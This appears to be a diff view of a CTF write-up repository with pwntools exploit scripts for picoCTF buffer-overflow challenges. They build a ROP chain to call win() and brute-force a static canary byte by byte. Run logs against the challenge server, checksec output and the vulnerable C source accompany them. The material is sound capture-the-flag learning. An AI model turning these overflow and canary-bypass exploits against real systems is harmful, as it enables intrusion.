<span style="color:#DC3958">$</span> python3 buffer-overflow-2-automated.py REMOTE
[<span style="color:#277FFF"><b>*</b></span>] Loaded 10 cached gadgets for &apos;./vuln&apos;
[<span style="color:#47D4B9"><b>+</b></span>] Starting local process &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos;: pid 4993
[<span style="color:#277FFF"><b>*</b></span>] Process &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos; stopped with exit code -11 (SIGSEGV) (pid 4993)
[<span style="color:#47D4B9"><b>+</b></span>] Parsing corefile...: Done
[<span style="color:#277FFF"><b>*</b></span>] &apos;/home/kali/ctfs/pico22/buffer-overflow-2/core&apos;
Arch: i386-32-little
EIP: 0x62616164
ESP: 0xffd07fc0
Exe: &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos; (0x8048000)
Fault: 0x62616164
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to saturn.picoctf.net on port <span style="color:#696969"><b>[PORT]</b></span>: Done
[<span style="color:#277FFF"><b>*</b></span>] Switching to interactive mode
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaab\\x96\\x\\xf0\\xfe\\xca
picoCTF{argum3nt5_4_d4yZ_<span style="color:#696969"><b>[REDACTED]</b></span>}
<span style="color:#EC0101"><b>$</b></span> [<span style="color:#277FFF"><b>*</b></span>] Got EOF while reading in interactive

View File

@@ -0,0 +1,15 @@
<span style="color:#DC3958">$</span> python3 buffer-overflow-2.py REMOTE
[<span style="color:#47D4B9"><b>+</b></span>] Starting local process &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos;: pid 3988
[<span style="color:#277FFF"><b>*</b></span>] Process &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos; stopped with exit code -11 (SIGSEGV) (pid 3988)
[<span style="color:#47D4B9"><b>+</b></span>] Parsing corefile...: Done
[<span style="color:#277FFF"><b>*</b></span>] &apos;/home/kali/ctfs/pico22/buffer-overflow-2/core&apos;
Arch: i386-32-little
EIP: 0x62616164
ESP: 0xffca3290
Exe: &apos;/home/kali/ctfs/pico22/buffer-overflow-2/vuln&apos; (0x8048000)
Fault: 0x62616164
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to saturn.picoctf.net on port <span style="color:#696969"><b>[PORT]</b></span>: Done
[<span style="color:#277FFF"><b>*</b></span>] Switching to interactive mode
Please enter your string:
\\xf0\\xfe\\xcadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaaavaaawaaaxaaayaaazaabbaabcaab\\x96\\x92\\x04r\\x93\\x04
picoCTF{argum3nt5_4_d4yZ_<span style="color:#696969"><b>[REDACTED]</b></span>}

View File

@@ -0,0 +1,22 @@
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./vuln' checksec=False) # sets elf object
rop = ROP(elf) # creates ROP object
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # creates local process w/ elf object
p.sendline(cyclic(128)) # sends cyclic pattern to crash
p.wait() # sigsegv generates core dump
core = Coredump('./core') # parses core dump file
rop.win(0xCAFEF00D, 0xF00DF00D) # Call win() with args
payload = fit({cyclic_find(core.eip): rop.chain()}) # pad ROP chain
if args.REMOTE:
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive()

View File

@@ -0,0 +1,25 @@
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False) # sets elf object
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # creates local process w/ elf object
p.sendline(cyclic(128)) # sends cyclic pattern to crash
p.wait() # sigsegv generates core dump
core = Coredump('./core') # parses core dump file
payload = flat([
{cyclic_find(core.eip): elf.symbols.win}, # pads win address
elf.symbols.main, # return address
0xCAFEF00D, # parameter 1
0xF00DF00D # parameter 2
])
if args.REMOTE:
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive()

View File

@@ -0,0 +1,80 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}

View File

@@ -0,0 +1,7 @@
<span style="color:#DC3958">$</span> checksec vuln
[<span style="color:#277FFF"><b>*</b></span>] &apos;/home/kali/ctfs/pico22/buffer-overflow-3/vuln&apos;
Arch: i386-32-little
RELRO: <span style="color:#FEA44C">Partial RELRO</span>
Stack: <span style="color:#D41919">No canary found</span>
NX: <span style="color:#5EBDAB">NX enabled</span>
PIE: <span style="color:#D41919">No PIE (0x8048000)</span>

View File

@@ -0,0 +1,21 @@
<span style="color:#DC3958">$</span> python3 -q
<span style="color:#DC3958">>>></span> from pwn import *
<span style="color:#DC3958">>>></span> p = process('./vuln')
[<span style="color:#9755B3">x</span>] Starting local process &apos;/home/kali/ctfs/pico22/buffer-overflow-3/vuln&apos;
[<span style="color:#47D4B9"><b>+</b></span>] Starting local process &apos;/home/kali/ctfs/pico22/buffer-overflow-3/vuln&apos;: pid 1493
<span style="color:#DC3958">>>></span> payload = cyclic(64) + b&apos;abcd&apos; + cyclic(128)
<span style="color:#DC3958">>>></span> p.sendline(b&apos;196&apos;)
<span style="color:#DC3958">>>></span> p.sendline(payload)
<span style="color:#DC3958">>>></span> p.wait()
[<span style="color:#277FFF"><b>*</b></span>] Process &apos;/home/kali/ctfs/pico22/buffer-overflow-3/vuln&apos; stopped with exit code -11 (SIGSEGV) (pid 1493)
<span style="color:#DC3958">>>></span> core = Corefile(&apos;./core&apos;)
[<span style="color:#9755B3">x</span>] Parsing corefile...
[<span style="color:#277FFF"><b>*</b></span>] &apos;/home/kali/ctfs/pico22/buffer-overflow-3/core&apos;
Arch: i386-32-little
EIP: 0x61616165
ESP: 0xffa06160
Exe: &apos;/home/kali/ctfs/pico22/buffer-overflow-3/vuln&apos; (0x8048000)
Fault: 0x61616165
[<span style="color:#47D4B9"><b>+</b></span>] Parsing corefile...: Done
<span style="color:#DC3958">>>></span> cyclic_find(0x61616165)
16

View File

@@ -0,0 +1,9 @@
<span style="color:#DC3958">$</span> python3 buffer-overflow-3.py
[<span style="color:#47D4B9"><b>+</b></span>] Finding canary: 'BiRd'
[<span style="color:#47D4B9"><b>+</b></span>] Opening connection to saturn.picoctf.net on port 57427: Done
[<span style="color:#47D4B9"><b>+</b></span>] Receiving all data: Done (162B)
[<span style="color:#277FFF"><b>*</b></span>] Closed connection to saturn.picoctf.net port 57427
[<span style="color:#47D4B9"><b>+</b></span>] aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaBiRdraaasaaataa-
auaaa6^H
Ok... Now Where&apos;s the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_<span style="color:#696969"><b>[REDACTED]</b></span>}

View File

@@ -0,0 +1,37 @@
#!/usr/bin/env python3
from pwn import *
from string import printable
elf = context.binary = ELF("./vuln", checksec=False)
host, port = "saturn.picoctf.net", [PORT]
offset = 64
def new_process():
if args.LOCAL:
return process(elf.path)
else:
return remote(host, port)
def get_canary():
canary = b""
logger = log.progress("Finding canary...")
for i in range(1, 5):
for char in printable:
with context.quiet:
p = new_process()
p.sendlineafter(b"> ", str(offset + i).encode())
p.sendlineafter(b"> ", flat([{offset: canary}, char.encode()]))
output = p.recvall()
if b"?" in output:
canary += char.encode()
logger.status(f'"{canary.decode()}"')
break
logger.success(f'"{canary.decode()}"')
return canary
canary = get_canary()
p = new_process()
payload = flat([{offset: canary}, {16: elf.symbols.win}])
p.sendlineafter(b"> ", str(len(payload)).encode())
p.sendlineafter(b"> ", payload)
log.success(p.recvall().decode("ISO-8859-1"))

View File

@@ -0,0 +1,7 @@
<span style="color:#DC3958">$</span> checksec guardians
[<span style="color:#277FFF"><b>*</b></span>] '/home/kali/ctfs/shctf/guardians/guardians'
Arch: amd64-64-little
RELRO: <span style="color:#5EBDAB">Full RELRO</span>
Stack: <span style="color:#D41919">No canary found</span>
NX: <span style="color:#5EBDAB">NX enabled</span>
PIE: <span style="color:#5EBDAB">PIE enabled</span>

View File

@@ -0,0 +1,2 @@
<span style="color:#DC3958">$</span> ./guardians
Error, please message admins with 'infinity_error'.

View File

@@ -0,0 +1,3 @@
<span style="color:#DC3958">$</span> touch flag.txt && echo "FLAGHERE" > flag.txt
<span style="color:#DC3958">$</span> ./guardians
Does Quill manage to win the dance battle?

Some files were not shown because too many files have changed in this diff Show More